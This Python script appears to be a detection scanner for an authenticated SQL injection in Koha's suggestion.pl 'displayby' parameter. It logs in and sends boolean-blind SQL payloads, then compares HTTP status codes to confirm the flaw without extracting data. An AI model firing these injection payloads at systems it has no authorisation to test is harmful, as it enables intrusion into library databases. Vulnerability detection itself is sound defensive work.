#!/usr/bin/env python3 """ CVE-2026-31844 - Koha Authenticated SQL Injection Vulnerability Scanner ====================================================================== This tool acts as a responsible vulnerability scanner for CVE-2026-31844. It tests for the presence of the SQL injection vulnerability using an authenticated Boolean-Based Blind technique without attempting to extract sensitive data like passwords or user information. Vulnerability: SQL Injection in suggestion.pl via 'displayby' parameter Ref: https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=41593 Usage: python3 scanner.py -t http://HOST:PORT -u USER -p PASS """ import requests import sys import re import argparse import urllib3 from urllib.parse import urlparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) VULN_PATH = "/cgi-bin/koha/suggestion/suggestion.pl" LOGIN_PATH = "/cgi-bin/koha/mainpage.pl" BANNER = """ \033[36m╔═══════════════════════════════════════════════════════════════╗\033[0m \033[36m║\033[0m \033[1;36mCVE-2026-31844 — Koha Vulnerability Scanner\033[0m \033[36m║\033[0m \033[36m║\033[0m \033[33mAuthenticated SQLi in suggestion.pl (displayby)\033[0m \033[36m║\033[0m \033[36m║\033[0m \033[2m(Mothra)\033[0m \033[36m║\033[0m \033[36m╚═══════════════════════════════════════════════════════════════╝\033[0m """ def print_success(msg): print(f"\033[1;32m[+]\033[0m {msg}") def print_error(msg): print(f"\033[1;31m[-]\033[0m {msg}") def print_info(msg): print(f"\033[1;34m[*]\033[0m {msg}") def print_warning(msg): print(f"\033[1;33m[!]\033[0m {msg}") class KohaScanner: def __init__(self, target: str, username: str, password: str, verify_ssl: bool = False): parsed = urlparse(target) if not parsed.scheme: target = "http://" + target self.target = target.rstrip("/") self.username = username self.password = password self.session = requests.Session() self.session.verify = verify_ssl def login(self) -> bool: print_info(f"Target: {self.target}") print_info(f"Authenticating to staff interface as '{self.username}'...") try: r = self.session.get(f"{self.target}/", timeout=15) csrf = re.findall(r'name="csrf_token"[^>]*value="([^"]+)"', r.text) if not csrf: csrf = re.findall(r'value="([^"]+)"[^>]*name="csrf_token"', r.text) if not csrf: print_error("Could not extract CSRF token. Is this a Koha staff interface?") return False data = { "csrf_token": csrf[0], "op": "cud-login", "koha_login_context": "intranet", "login_userid": self.username, "login_password": self.password, } r = self.session.post( f"{self.target}{LOGIN_PATH}", data=data, allow_redirects=True, timeout=15, ) if "Log out" in r.text or "cud-logout" in r.text: print_success("Authentication successful!\n") return True else: print_error("Authentication failed. Check credentials or permissions.") return False except requests.exceptions.ConnectionError: print_error(f"Connection failed to {self.target}") return False except requests.exceptions.Timeout: print_error(f"Connection timed out to {self.target}") return False def _inject(self, payload: str) -> int: try: r = self.session.get( f"{self.target}{VULN_PATH}", params={"op": "else", "displayby": payload}, timeout=15, ) return r.status_code except requests.exceptions.RequestException as e: return 0 def test_vulnerability(self) -> bool: print("=" * 60) print(" \033[1mVULNERABILITY SCAN\033[0m") print("=" * 60) print_info("Testing vulnerability using safe Boolean-blind evaluation...") print(" [1] Testing baseline request (STATUS)...", end=" ") status_baseline = self._inject("STATUS") if status_baseline == 200: print("\033[32mHTTP 200 (OK)\033[0m") else: print(f"\033[33mHTTP {status_baseline}\033[0m") print(" [2] Testing TRUE condition evaluation...", end=" ") status_true = self._inject("IF(1=1, (SELECT 1 UNION SELECT 2), 1)") if status_true == 500: print("\033[32mHTTP 500 (Expected Error)\033[0m") else: print(f"\033[31mHTTP {status_true}\033[0m") print(" [3] Testing FALSE condition evaluation...", end=" ") status_false = self._inject("IF(1=2, (SELECT 1 UNION SELECT 2), 1)") if status_false == 200: print("\033[32mHTTP 200 (OK)\033[0m") else: print(f"\033[31mHTTP {status_false}\033[0m") print("=" * 60) if status_baseline == 200 and status_true == 500 and status_false == 200: print("\n\033[1;41m[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844 \033[0m\n") print_warning("The target evaluated the SQL conditions and returned differential HTTP codes.") print_warning("Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.") return True else: print("\n\033[1;42m[ SECURE ] Target does not appear vulnerable. \033[0m\n") print_info("The server did not respond to the Boolean-blind SQLi payloads as expected.") return False def main(): print(BANNER) parser = argparse.ArgumentParser( description="Vulnerability Scanner for CVE-2026-31844 (Authenticated Koha SQLi)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 scanner.py -t http://koha.local:8081 -u staff -p password123 python3 scanner.py -t https://koha.library.edu -u admin -p secret --no-verify-ssl """ ) parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://koha.local:8081)") parser.add_argument("-u", "--user", required=True, help="Staff interface username") parser.add_argument("-p", "--pass", dest="password", required=True, help="Staff interface password") parser.add_argument("--no-verify-ssl", action="store_true", help="Disable SSL certificate verification") args = parser.parse_args() scanner = KohaScanner( target=args.target, username=args.user, password=args.password, verify_ssl=not args.no_verify_ssl, ) if scanner.login(): scanner.test_vulnerability() else: sys.exit(1) if __name__ == "__main__": main()